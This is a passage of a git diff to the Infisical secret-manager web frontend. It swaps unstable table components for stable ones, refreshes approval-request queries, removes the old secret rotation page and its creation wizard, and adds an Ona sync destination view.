         <AlertTriangleIcon className="size-4" />
-        <UnstableAlertTitle>
-          The following resources will be affected by this change
-        </UnstableAlertTitle>
-      </UnstableAlert>
+        <AlertTitle>The following resources will be affected by this change</AlertTitle>
+      </Alert>
 
-      <UnstableTable containerClassName="max-h-64 overflow-y-auto">
-        <UnstableTableHeader className="sticky -top-px z-10 bg-container [&_tr]:border-b-0">
-          <UnstableTableRow>
-            <UnstableTableHead className="w-1/4 border-r border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
+      <Table containerClassName="max-h-64 overflow-y-auto">
+        <TableHeader className="sticky -top-px z-10 bg-container [&_tr]:border-b-0">
+          <TableRow>
+            <TableHead className="w-1/4 border-r border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
               Resource
-            </UnstableTableHead>
-            <UnstableTableHead className="w-1/3 border-r border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
+            </TableHead>
+            <TableHead className="w-1/3 border-r border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
               Environment
-            </UnstableTableHead>
-            <UnstableTableHead className="w-1/3 border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
+            </TableHead>
+            <TableHead className="w-1/3 border-b-0 shadow-[inset_0_-1px_0_var(--color-border)]">
               Path
-            </UnstableTableHead>
-          </UnstableTableRow>
-        </UnstableTableHeader>
-        <UnstableTableBody>
+            </TableHead>
+          </TableRow>
+        </TableHeader>
+        <TableBody>
           {flattenedItems.map((item) => (
-            <UnstableTableRow
+            <TableRow
               key={item.id}
               onClick={() => handlePathClick(item)}
               title={
@@ -260,17 +258,17 @@ export const CollapsibleSecretImports: React.FC<CollapsibleSecretImportsProps> =
                   : `Navigate to ${item.path}`
               }
             >
-              <UnstableTableCell className="border-r" isTruncatable>
+              <TableCell className="border-r" isTruncatable>
                 {getResourceLabel(item)}
-              </UnstableTableCell>
-              <UnstableTableCell isTruncatable className="border-r">
+              </TableCell>
+              <TableCell isTruncatable className="border-r">
                 {item.environment.name}
-              </UnstableTableCell>
-              <UnstableTableCell isTruncatable>{truncatePath(item.path)}</UnstableTableCell>
-            </UnstableTableRow>
+              </TableCell>
+              <TableCell isTruncatable>{truncatePath(item.path)}</TableCell>
+            </TableRow>
           ))}
-        </UnstableTableBody>
-      </UnstableTable>
+        </TableBody>
+      </Table>
     </div>
   );
 };
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/SecretListView.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/SecretListView.tsx
index c16bc525935..6475bcc54ba 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/SecretListView.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/SecretListView/SecretListView.tsx
@@ -435,6 +435,9 @@ export const SecretListView = ({
       queryClient.invalidateQueries({
         queryKey: secretApprovalRequestKeys.count({ projectId })
       });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
       if (!isReminderEvent) {
         handlePopUpClose("secretDetail");
       }
@@ -545,6 +548,9 @@ export const SecretListView = ({
     queryClient.invalidateQueries({
       queryKey: secretApprovalRequestKeys.count({ projectId })
     });
+    queryClient.invalidateQueries({
+      queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+    });
     handlePopUpClose("deleteSecret");
     handlePopUpClose("secretDetail");
     createNotification({
diff --git a/frontend/src/pages/secret-manager/SecretRotationPage/SecretRotationPage.tsx b/frontend/src/pages/secret-manager/SecretRotationPage/SecretRotationPage.tsx
deleted file mode 100644
index e853092ad42..00000000000
--- a/frontend/src/pages/secret-manager/SecretRotationPage/SecretRotationPage.tsx
+++ /dev/null
@@ -1,457 +0,0 @@
-import { Helmet } from "react-helmet";
-import { useTranslation } from "react-i18next";
-import { subject } from "@casl/ability";
-import {
-  faArrowsSpin,
-  faArrowUpRightFromSquare,
-  faExclamationTriangle,
-  faFolder,
-  faInfoCircle,
-  faPlus,
-  faRotate,
-  faTrash
-} from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { Link, useNavigate } from "@tanstack/react-router";
-import { formatDistance } from "date-fns";
-
-import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
-import { createNotification } from "@app/components/notifications";
-import { ProjectPermissionCan } from "@app/components/permissions";
-import {
-  Button,
-  DeleteActionModal,
-  EmptyState,
-  IconButton,
-  Modal,
-  ModalContent,
-  PageHeader,
-  Skeleton,
-  Spinner,
-  Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Td,
-  Th,
-  THead,
-  Tooltip,
-  Tr
-} from "@app/components/v2";
-import { NoticeBannerV2 } from "@app/components/v2/NoticeBannerV2/NoticeBannerV2";
-import {
-  ProjectPermissionSub,
-  useOrganization,
-  useProject,
-  useProjectPermission,
-  useSubscription
-} from "@app/context";
-import { ProjectPermissionSecretRotationActions } from "@app/context/ProjectPermissionContext/types";
-import { usePopUp } from "@app/hooks";
-import {
-  useDeleteSecretRotation,
-  useGetSecretRotationProviders,
-  useGetSecretRotations,
-  useRestartSecretRotation
-} from "@app/hooks/api";
-import { ProjectType } from "@app/hooks/api/projects/types";
-import { TSecretRotationProviderTemplate } from "@app/hooks/api/secretRotation/types";
-import { CreateRotationForm } from "@app/pages/secret-manager/SecretRotationPage/components/CreateRotationForm";
-
-const Page = () => {
-  const { currentOrg } = useOrganization();
-  const { currentProject } = useProject();
-  const { permission } = useProjectPermission();
-
-  const navigate = useNavigate();
-
-  const { popUp, handlePopUpOpen, handlePopUpToggle, handlePopUpClose } = usePopUp([
-    "createRotation",
-    "activeBot",
-    "deleteRotation",
-    "upgradePlan",
-    "secretRotationV2"
-  ] as const);
-  const workspaceId = currentProject?.id || "";
-  const canCreateRotation = permission.can(
-    ProjectPermissionSecretRotationActions.Create,
-    ProjectPermissionSub.SecretRotation
-  );
-  const { subscription } = useSubscription();
-
-  const { data: secretRotationProviders, isPending: isRotationProviderLoading } =
-    useGetSecretRotationProviders({ workspaceId });
-  const { data: secretRotations, isPending: isRotationLoading } = useGetSecretRotations({
-    workspaceId
-  });
-
-  const {
-    mutateAsync: deleteSecretRotation,
-    variables: deleteSecretRotationVars,
-    isPending: isDeletingRotation
-  } = useDeleteSecretRotation();
-  const {
-    mutateAsync: restartSecretRotation,
-    variables: restartSecretRotationVar,
-    isPending: isRestartingRotation
-  } = useRestartSecretRotation();
-
-  const handleDeleteRotation = async () => {
-    const { id } = popUp.deleteRotation.data as { id: string };
-    await deleteSecretRotation({
-      id,
-      workspaceId
-    });
-    handlePopUpClose("deleteRotation");
-    createNotification({
-      type: "success",
-      text: "Successfully removed rotation"
-    });
-  };
-
-  const handleRestartRotation = async (id: string) => {
-    await restartSecretRotation({
-      id,
-      workspaceId
-    });
-    createNotification({
-      type: "success",
-      text: "Secret rotation  initiated"
-    });
-  };
-
-  const handleCreateRotation = (provider: TSecretRotationProviderTemplate) => {
-    if (subscription && !subscription?.secretRotation) {
-      handlePopUpOpen("upgradePlan");
-      return;
-    }
-    if (!canCreateRotation) {
-      createNotification({ type: "error", text: "Access permission denied!!" });
-      return;
-    }
-    handlePopUpOpen("createRotation", provider);
-  };
-
-  return (
-    <div className="container mx-auto w-full max-w-8xl bg-bunker-800 text-white">
-      <PageHeader
-        scope={ProjectType.SecretManager}
-        title="Secret Rotation"
-        description="Stop manually rotating secrets and automate credential rotation."
-      >
-        <a
-          target="_blank"
-          rel="noopener noreferrer"
-          href="https://infisical.com/docs/documentation/platform/secret-rotation/overview"
-        >
-          <span className="flex w-max cursor-pointer items-center rounded-md border border-mineshaft-500 bg-mineshaft-600 px-4 py-2 text-mineshaft-200 duration-200 hover:border-primary/40 hover:bg-primary/10 hover:text-white">
-            Documentation
-            <FontAwesomeIcon
-              icon={faArrowUpRightFromSquare}
-              className="mb-[0.06rem] ml-1 text-xs"
-            />
-          </span>
-        </a>
-      </PageHeader>
-      <NoticeBannerV2 title="Secret Rotations Update">
-        <p className="text-sm text-bunker-200">
-          Infisical is revamping its Secret Rotation experience.
-        </p>
-        <p className="mt-2 text-sm text-bunker-200">
-          PostgreSQL and Microsoft SQL Server Rotations can now be created from the{" "}
-          <Link
-            className="text-mineshaft-100 underline decoration-primary underline-offset-2 hover:text-mineshaft-200"
-            to="/organizations/$orgId/projects/secret-management/$projectId/overview"
-            params={{ orgId: currentOrg.id, projectId: currentProject.id }}
-          >
-            Secret Manager Dashboard
-          </Link>{" "}
-          from the actions dropdown.
-        </p>
-      </NoticeBannerV2>
-      <div className="mb-6">
-        <div className="mt-6 mb-2 text-xl font-medium text-gray-200">Rotated Secrets</div>
-        <div className="flex flex-col space-y-2">
-          <TableContainer>
-            <Table>
-              <THead>
-                <Tr>
-                  <Th>Secret Name</Th>
-                  <Th>Environment</Th>
-                  <Th>Provider</Th>
-                  <Th>Status</Th>
-                  <Th>Last Rotation</Th>
-                  <Th className="text-right">Action</Th>
-                </Tr>
-              </THead>
-              <TBody>
-                {isRotationLoading && (
-                  <TableSkeleton
-                    innerKey="secret-rotation-loading"
-                    columns={6}
-                    className="bg-mineshaft-700"
-                  />
-                )}
-                {!isRotationLoading && secretRotations?.length === 0 && (
-                  <Tr>
-                    <Td colSpan={6}>
-                      <EmptyState title="No rotation strategy found" icon={faArrowsSpin} />
-                    </Td>
-                  </Tr>
-                )}
-                {secretRotations?.map(
-                  ({
-                    environment,
-                    secretPath,
-                    outputs,
-                    provider,
-                    id,
-                    lastRotatedAt,
-                    status,
-                    statusMessage
-                  }) => {
-                    const isDeleting = deleteSecretRotationVars?.id === id && isDeletingRotation;
-                    const isRestarting =
-                      restartSecretRotationVar?.id === id && isRestartingRotation;
-                    return (
-                      <Tr key={id}>
-                        <Td>
-                          {outputs
-                            .map(({ key }) => key)
-                            .join(",")
-                            .toUpperCase()}
-                        </Td>
-                        <Td>
-                          <div className="flex w-min items-center rounded-sm border border-bunker-400 p-1 px-2">
-                            <div>{environment.slug}</div>
-                            <div className="ml-1 flex items-center border-l border-bunker-400 pl-1 text-xs">
-                              <FontAwesomeIcon icon={faFolder} className="mr-1" />
-                              {secretPath}
-                            </div>
-                          </div>
-                        </Td>
-                        <Td>{provider}</Td>
-                        <Td>
-                          <div className="flex items-center">
-                            {status}
-                            {status === "failed" && (
-                              <Tooltip content={statusMessage}>
-                                <FontAwesomeIcon
-                                  icon={faExclamationTriangle}
-                                  size="sm"
-                                  className="ml-2 text-red"
-                                />
-                              </Tooltip>
-                            )}
-                          </div>
-                        </Td>
-                        <Td>
-                          {lastRotatedAt
-                            ? formatDistance(new Date(lastRotatedAt), new Date())
-                            : "-"}
-                        </Td>
-                        <Td>
-                          <div className="flex justify-end space-x-2">
-                            <ProjectPermissionCan
-                              I={ProjectPermissionSecretRotationActions.Edit}
-                              a={subject(ProjectPermissionSub.SecretRotation, {
-                                environment: environment.slug,
-                                secretPath
-                              })}
-                              allowedLabel="Rotate now"
-                              renderTooltip
-                            >
-                              {(isAllowed) => (
-                                <IconButton
-                                  variant="plain"
-                                  colorSchema="danger"
-                                  ariaLabel="delete-rotation"
-                                  isDisabled={isDeleting || !isAllowed}
-                                  onClick={() => handleRestartRotation(id)}
-                                >
-                                  {isRestarting ? (
-                                    <Spinner size="xs" />
-                                  ) : (
-                                    <FontAwesomeIcon icon={faRotate} />
-                                  )}
-                                </IconButton>
-                              )}
-                            </ProjectPermissionCan>
-                            <ProjectPermissionCan
-                              I={ProjectPermissionSecretRotationActions.Delete}
-                              a={subject(ProjectPermissionSub.SecretRotation, {
-                                environment: environment.slug,
-                                secretPath
-                              })}
-                              allowedLabel="Rotate now"
-                              renderTooltip
-                            >
-                              {(isAllowed) => (
-                                <IconButton
-                                  variant="plain"
-                                  colorSchema="danger"
-                                  ariaLabel="delete-rotation"
-                                  isDisabled={isDeleting || !isAllowed}
-                                  onClick={() => handlePopUpOpen("deleteRotation", { id })}
-                                >
-                                  {isDeleting ? (
-                                    <Spinner size="xs" />
-                                  ) : (
-                                    <FontAwesomeIcon icon={faTrash} />
-                                  )}
-                                </IconButton>
-                              )}
-                            </ProjectPermissionCan>
-                          </div>
-                        </Td>
-                      </Tr>
-                    );
-                  }
-                )}
-              </TBody>
-            </Table>
-          </TableContainer>
-        </div>
-      </div>
-      <div className="mt-12 mb-2 text-xl font-medium text-gray-200">
-        Infisical Rotation Providers
-      </div>
-      <div className="grid grid-cols-2 gap-4 lg:grid-cols-3 2xl:grid-cols-4">
-        {isRotationProviderLoading &&
-          Array.from({ length: 12 }).map((_, index) => (
-            <Skeleton className="h-32" key={`rotation-provider-skeleton-${index + 1}`} />
-          ))}
-        {!isRotationProviderLoading &&
-          secretRotationProviders?.providers.map((provider) => (
-            <div
-              className="group relative flex h-32 cursor-pointer flex-row items-center justify-center rounded-md border border-mineshaft-600 bg-mineshaft-800 p-4 hover:border-primary/40 hover:bg-primary/10"
-              key={`infisical-rotation-provider-${provider.name}`}
-              tabIndex={0}
-              role="button"
-              onKeyDown={(evt) => {
-                if (evt.key !== "Enter") return;
-                if (provider.isDeprecated) {
-                  handlePopUpOpen("secretRotationV2", provider.title);
-                } else {
-                  handleCreateRotation(provider);
-                }
-              }}
-              onClick={() => {
-                if (provider.isDeprecated) {
-                  handlePopUpOpen("secretRotationV2", provider.title);
-                } else {
-                  handleCreateRotation(provider);
-                }
-              }}
-            >
-              <img
-                src={`/images/secretRotation/${provider.image}`}
-                className="max-h-16"
-                style={{ maxWidth: "6rem" }}
-                alt="rotation provider logo"
-              />
-              <div className="ml-4 max-w-xs text-xl font-medium text-gray-300 duration-200 group-hover:text-gray-200">
-                {provider.title}
-              </div>
-              <div className="absolute top-1 right-1.5 opacity-0 transition-all group-hover:opacity-100">
-                <Tooltip content={provider.description} sideOffset={10}>
-                  <FontAwesomeIcon icon={faInfoCircle} className="text-primary" />
-                </Tooltip>
-              </div>
-            </div>
-          ))}
-        <a
-          target="_blank"
-          rel="noopener noreferrer"
-          href="https://github.com/Infisical/infisical/issues"
-        >
-          <div className="group relative flex h-32 cursor-pointer flex-row items-center rounded-md border border-mineshaft-600 bg-mineshaft-800 p-4 hover:border-primary/40 hover:bg-primary/10">
-            <FontAwesomeIcon icon={faPlus} className="pr-2 pl-3 text-3xl text-gray-300" />
-            <div className="ml-4 max-w-xs text-xl font-medium text-gray-300 duration-200 group-hover:text-gray-200">
-              Request or create your own template
-            </div>
-          </div>
-        </a>
-      </div>
-      <CreateRotationForm
-        isOpen={popUp.createRotation.isOpen}
-        workspaceId={workspaceId}
-        onToggle={(isOpen) => handlePopUpToggle("createRotation", isOpen)}
-        provider={(popUp.createRotation.data as TSecretRotationProviderTemplate) || {}}
-      />
-      <DeleteActionModal
-        isOpen={popUp.deleteRotation.isOpen}
-        title="Are you sure you want to delete this rotation?"
-        subTitle="This will stop the rotation from dynamically changing. Secret won't be deleted"
-        onChange={(isOpen) => handlePopUpToggle("deleteRotation", isOpen)}
-        deleteKey="delete"
-        onDeleteApproved={handleDeleteRotation}
-      />
-      <UpgradePlanModal
-        isOpen={popUp.upgradePlan.isOpen}
-        onOpenChange={(isOpen) => handlePopUpToggle("upgradePlan", isOpen)}
-        text="Adding secret rotations can be unlocked if you upgrade to Infisical Pro plan."
-      />
-      <Modal
-        isOpen={popUp.secretRotationV2.isOpen}
-        onOpenChange={(isOpen) => handlePopUpToggle("secretRotationV2", isOpen)}
-      >
-        <ModalContent className="max-w-5xl" title="Secret Rotation Update">
-          <div className="flex flex-col gap-2">
-            <p className="text-mineshaft-200">
-              Infisical is revamping its Secret Rotation experience. Navigate to the{" "}
-              <Link
-                className="text-mineshaft-100 underline decoration-primary underline-offset-2 hover:text-mineshaft-200"
-                to="/organizations/$orgId/projects/secret-management/$projectId/overview"
-                params={{ orgId: currentOrg.id, projectId: currentProject.id }}
-              >
-                Secret Manager Dashboard
-              </Link>{" "}
-              to create a {popUp.secretRotationV2.data} Rotation.
-            </p>
-            <div className="overflow-clip rounded-sm border border-mineshaft-600">
-              <img
-                src="/images/secretRotation/secret-rotations-v2-location.png"
-                alt="Secret Rotation V2 location"
-              />
-            </div>
-            <div className="mt-2 flex gap-2">
-              <Button
-                onClick={() =>
-                  navigate({
-                    to: "/organizations/$orgId/projects/secret-management/$projectId/overview",
-                    params: { orgId: currentOrg.id, projectId: currentProject.id }
-                  })
-                }
-                colorSchema="secondary"
-              >
-                Navigate to Secret Manager
-              </Button>
-            </div>
-          </div>
-        </ModalContent>
-      </Modal>
-    </div>
-  );
-};
-export const SecretRotationPage = () => {
-  const { t } = useTranslation();
-
-  return (
-    <div className="bg-bunker-800">
-      <Helmet>
-        <title>{t("common.head-title", { title: t("settings.project.title") })}</title>
-        <link rel="icon" href="/infisical.ico" />
-        <meta property="og:image" content="/images/message.png" />
-      </Helmet>
-      <ProjectPermissionCan
-        I={ProjectPermissionSecretRotationActions.Read}
-        a={ProjectPermissionSub.SecretRotation}
-        passThrough={false}
-        renderGuardBanner
-      >
-        <Page />
-      </ProjectPermissionCan>
-    </div>
-  );
-};
diff --git a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/CreateRotationForm.tsx b/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/CreateRotationForm.tsx
deleted file mode 100644
index cfc34df2cb5..00000000000
--- a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/CreateRotationForm.tsx
+++ /dev/null
@@ -1,135 +0,0 @@
-import { useRef, useState } from "react";
-import { AnimatePresence, motion } from "framer-motion";
-
-import { Modal, ModalContent, Step, Stepper } from "@app/components/v2";
-import { useCreateSecretRotation } from "@app/hooks/api";
-import { TSecretRotationProviderTemplate } from "@app/hooks/api/types";
-
-import { RotationInputForm } from "./steps/RotationInputForm";
-import {
-  RotationOutputForm,
-  TFormSchema as TRotationOutputSchema
-} from "./steps/RotationOutputForm";
-
-const WIZARD_STEPS = [
-  {
-    title: "Inputs",
-    description: "Provider secrets"
-  },
-  {
-    title: "Outputs",
-    description: "Map rotated secrets to keys"
-  }
-];
-
-type Props = {
-  isOpen?: boolean;
-  onToggle: (isOpen: boolean) => void;
-  customProvider?: string;
-  workspaceId: string;
-  provider: TSecretRotationProviderTemplate;
-};
-
-export const CreateRotationForm = ({
-  isOpen,
-  onToggle,
-  provider,
-  workspaceId,
-  customProvider
-}: Props) => {
-  const [wizardStep, setWizardStep] = useState(0);
-  const wizardData = useRef<{
-    input?: Record<string, string>;
-    output?: TRotationOutputSchema;
-  }>({});
-
-  const { mutateAsync: createSecretRotation } = useCreateSecretRotation();
-
-  const handleFormCancel = () => {
-    onToggle(false);
-    setWizardStep(0);
-    wizardData.current = {};
-  };
-
-  const handleFormSubmit = async () => {
-    if (!wizardData.current.input || !wizardData.current.output) return;
-    await createSecretRotation({
-      workspaceId,
-      provider: provider.name,
-      customProvider,
-      secretPath: wizardData.current.output.secretPath,
-      environment: wizardData.current.output.environment,
-      interval: wizardData.current.output.interval,
-      inputs: wizardData.current.input,
-      outputs: wizardData.current.output.secrets
-    });
-    setWizardStep(0);
-    onToggle(false);
-    wizardData.current = {};
-  };
-
-  return (
-    <Modal
-      isOpen={isOpen}
-      onOpenChange={(state) => {
-        onToggle(state);
-        setWizardStep(0);
-        wizardData.current = {};
-      }}
-    >
-      <ModalContent
-        title={`Secret rotation for ${provider.name}`}
-        subTitle="Provide the required inputs needed for the rotation"
-        className="my-4 max-h-screen max-w-2xl overflow-scroll"
-      >
-        <Stepper activeStep={wizardStep} direction="horizontal" className="mb-4">
-          {WIZARD_STEPS.map(({ title, description }, index) => (
-            <Step
-              title={title}
-              description={description}
-              key={`wizard-stepper-rotation-${index + 1}`}
-            />
-          ))}
-        </Stepper>
-        <AnimatePresence mode="wait">
-          {wizardStep === 0 && (
-            <motion.div
-              key="input-step"
-              transition={{ duration: 0.1 }}
-              initial={{ opacity: 0, translateX: 30 }}
-              animate={{ opacity: 1, translateX: 0 }}
-              exit={{ opacity: 0, translateX: -30 }}
-            >
-              <RotationInputForm
-                onCancel={handleFormCancel}
-                onSubmit={(data) => {
-                  wizardData.current.input = data;
-                  setWizardStep((state) => state + 1);
-                }}
-                inputSchema={provider.template?.inputs || {}}
-              />
-            </motion.div>
-          )}
-          {wizardStep === 1 && (
-            <motion.div
-              key="output-step"
-              transition={{ duration: 0.1 }}
-              initial={{ opacity: 0, translateX: 30 }}
-              animate={{ opacity: 1, translateX: 0 }}
-              exit={{ opacity: 0, translateX: -30 }}
-            >
-              <RotationOutputForm
-                outputSchema={provider.template?.outputs || {}}
-                onCancel={handleFormCancel}
-                onSubmit={async (data) => {
-                  wizardData.current.output = data;
-                  await handleFormSubmit();
-                }}
-              />
-            </motion.div>
-          )}
-        </AnimatePresence>
-      </ModalContent>
-    </Modal>
-  );
-};
diff --git a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/index.tsx b/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/index.tsx
deleted file mode 100644
index 8392c4cdb12..00000000000
--- a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/index.tsx
+++ /dev/null
@@ -1 +0,0 @@
-export { CreateRotationForm } from "./CreateRotationForm";
diff --git a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/steps/RotationInputForm.tsx b/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/steps/RotationInputForm.tsx
deleted file mode 100644
index 3b336a750ca..00000000000
--- a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/steps/RotationInputForm.tsx
+++ /dev/null
@@ -1,78 +0,0 @@
-import { Controller, useForm } from "react-hook-form";
-import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { zodResolver } from "@hookform/resolvers/zod";
-import { z } from "zod";
-
-import { Button, FormControl, FormLabel, SecretInput, Tooltip } from "@app/components/v2";
-
-type Props = {
-  onSubmit: (data: Record<string, string>) => void;
-  onCancel: () => void;
-  inputSchema: {
-    properties: Record<string, { type: string; desc?: string; default?: string }>;
-    required: string[];
-  };
-};
-
-const formSchema = z.record(z.string().trim().optional());
-
-export const RotationInputForm = ({ onSubmit, onCancel, inputSchema }: Props) => {
-  const {
-    control,
-    handleSubmit,
-    formState: { isSubmitting }
-  } = useForm<Record<string, string>>({
-    resolver: zodResolver(formSchema)
-  });
-
-  return (
-    <form onSubmit={handleSubmit(onSubmit)}>
-      {Object.keys(inputSchema.properties || {}).map((inputName) => (
-        <Controller
-          control={control}
-          name={inputName}
-          key={`provider-input-${inputName}`}
-          defaultValue={inputSchema.properties[inputName]?.default}
-          render={({ field }) => (
-            <FormControl
-              key={`provider-input-${inputName}`}
-              label={
-                <div className="flex items-center space-x-2">
-                  <FormLabel className="mb-0 uppercase" label={inputName.replaceAll("_", " ")} />
-                  {Boolean(inputSchema.properties[inputName]?.desc) && (
-                    <Tooltip
-                      className="max-w-xs"
-                      content={inputSchema.properties[inputName]?.desc}
-                      position="right"
-                    >
-                      <FontAwesomeIcon
-                        icon={faQuestionCircle}
-                        size="xs"
-                        className="text-bunker-300"
-                      />
-                    </Tooltip>
-                  )}
-                </div>
-              }
-            >
-              <SecretInput
-                {...field}
-                containerClassName="normal-case text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-bunker-800  px-2 py-1.5"
-                required={inputSchema.required.includes(inputName)}
-              />
-            </FormControl>
-          )}
-        />
-      ))}
-      <div className="mt-8 flex items-center space-x-4">
-        <Button type="submit" isLoading={isSubmitting} isDisabled={isSubmitting}>
-          Next
-        </Button>
-        <Button onClick={onCancel} colorSchema="secondary" variant="plain">
-          Cancel
-        </Button>
-      </div>
-    </form>
-  );
-};
diff --git a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/steps/RotationOutputForm.tsx b/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/steps/RotationOutputForm.tsx
deleted file mode 100644
index 41236502812..00000000000
--- a/frontend/src/pages/secret-manager/SecretRotationPage/components/CreateRotationForm/steps/RotationOutputForm.tsx
+++ /dev/null
@@ -1,151 +0,0 @@
-import { Controller, useForm } from "react-hook-form";
-import { zodResolver } from "@hookform/resolvers/zod";
-import { z } from "zod";
-
-import { Button, FormControl, Input, Select, SelectItem, Spinner } from "@app/components/v2";
-import { SecretPathInput } from "@app/components/v2/SecretPathInput";
-import { useProject } from "@app/context";
-import { useGetProjectSecrets } from "@app/hooks/api";
-
-const formSchema = z.object({
-  environment: z.string().trim(),
-  secretPath: z.string().trim().default("/"),
-  interval: z.number().min(1),
-  secrets: z.record(z.string())
-});
-
-export type TFormSchema = z.infer<typeof formSchema>;
-type Props = {
-  outputSchema: Record<string, unknown>;
-  onSubmit: (data: TFormSchema) => void;
-  onCancel: () => void;
-};
-
-export const RotationOutputForm = ({ onSubmit, onCancel, outputSchema = {} }: Props) => {
-  const { currentProject } = useProject();
-  const environments = currentProject?.environments || [];
-  const projectId = currentProject?.id || "";
-  const {
-    control,
-    handleSubmit,
-    watch,
-    formState: { isSubmitting }
-  } = useForm<TFormSchema>({
-    resolver: zodResolver(formSchema)
-  });
-
-  const environment = watch("environment", environments?.[0]?.slug);
-  const secretPath = watch("secretPath");
-  const selectedSecrets = watch("secrets");
-
-  const { data: secrets, isPending: isSecretsLoading } = useGetProjectSecrets({
-    projectId,
-    environment,
-    secretPath
-  });
-
-  return (
-    <form onSubmit={handleSubmit(onSubmit)}>
-      <Controller
-        control={control}
-        name="environment"
-        defaultValue={environments?.[0]?.slug}
-        render={({ field: { value, onChange } }) => (
-          <FormControl label="Environment">
-            <Select
-              value={value}
-              onValueChange={(val) => onChange(val)}
-              className="w-full border border-mineshaft-500"
-              defaultValue={environments?.[0]?.slug}
-              position="popper"
-            >
-              {environments.map((sourceEnvironment) => (
-                <SelectItem
-                  value={sourceEnvironment.slug}
-                  key={`source-environment-${sourceEnvironment.slug}`}
-                >
-                  {sourceEnvironment.name}
-                </SelectItem>
-              ))}
-            </Select>
-          </FormControl>
-        )}
-      />
-      <Controller
-        control={control}
-        name="secretPath"
-        defaultValue="/"
-        render={({ field }) => (
-          <FormControl className="capitalize" label="Secret path">
-            <SecretPathInput {...field} environment={environment} />
-          </FormControl>
-        )}
-      />
-      <Controller
-        control={control}
-        name="interval"
-        defaultValue={15}
-        render={({ field }) => (
-          <FormControl className="capitalize" label="Rotation Interval (Days)">
-            <Input
-              {...field}
-              min={1}
-              type="number"
-              onChange={(evt) => field.onChange(parseInt(evt.target.value, 10))}
-            />
-          </FormControl>
-        )}
-      />
-      <div className="mt-4 mb-2 flex flex-col border-t border-bunker-300/30 pt-4">
-        <div>Mapping</div>
-        <div className="text-sm text-bunker-300">Select keys for rotated value to get saved</div>
-      </div>
-      {Object.keys(outputSchema).map((outputName) => (
-        <Controller
-          key={`provider-output-${outputName}`}
-          control={control}
-          name={`secrets.${outputName}`}
-          render={({ field: { value, onChange } }) => (
-            <FormControl className="uppercase" label={outputName.replaceAll("_", " ")} isRequired>
-              <Select
-                value={value}
-                onValueChange={(val) => onChange(val)}
-                className="w-full border border-mineshaft-500"
-                position="popper"
-              >
-                {!isSecretsLoading &&
-                  secrets
-                    ?.filter(
-                      ({ id }) => value === id || !Object.values(selectedSecrets || {}).includes(id)
-                    )
-                    ?.map(({ key, id }) => (
-                      <SelectItem value={id} key={id}>
-                        {key}
-                      </SelectItem>
-                    ))}
-                {isSecretsLoading && (
-                  <SelectItem value="Loading" isDisabled>
-                    <Spinner size="xs" />
-                  </SelectItem>
-                )}
-                {!isSecretsLoading && secrets?.length === 0 && (
-                  <SelectItem value="Empty" isDisabled>
-                    No secrets found
-                  </SelectItem>
-                )}
-              </Select>
-            </FormControl>
-          )}
-        />
-      ))}
-      <div className="mt-8 flex items-center space-x-4">
-        <Button type="submit" isLoading={isSubmitting} isDisabled={isSubmitting}>
-          Submit
-        </Button>
-        <Button onClick={onCancel} colorSchema="secondary" variant="plain">
-          Cancel
-        </Button>
-      </div>
-    </form>
-  );
-};
diff --git a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncAuditLogsSection.tsx b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncAuditLogsSection.tsx
index 74011228b27..70393e97fed 100644
--- a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncAuditLogsSection.tsx
+++ b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncAuditLogsSection.tsx
@@ -36,7 +36,7 @@ export const SecretSyncAuditLogsSection = ({ secretSync }: Props) => {
       </div>
       {subscription.auditLogs ? (
         <LogsSection
-          refetchInterval={4000}
+          refetchInterval={15_000}
           showFilters={false}
           project={currentProject}
           presets={{
diff --git a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/OnaSyncDestinationSection.tsx b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/OnaSyncDestinationSection.tsx
new file mode 100644
index 00000000000..a9cb4b68a58
--- /dev/null
+++ b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/OnaSyncDestinationSection.tsx
@@ -0,0 +1,16 @@
+import { GenericFieldLabel } from "@app/components/secret-syncs";
+import { TOnaSync } from "@app/hooks/api/secretSyncs/types/ona-sync";
+
+type Props = {
+  secretSync: TOnaSync;
+};
+
+export const OnaSyncDestinationSection = ({ secretSync }: Props) => {
+  const { destinationConfig } = secretSync;
+
+  return (
+    <GenericFieldLabel label="Ona Project">
+      {destinationConfig.projectName || destinationConfig.projectId}
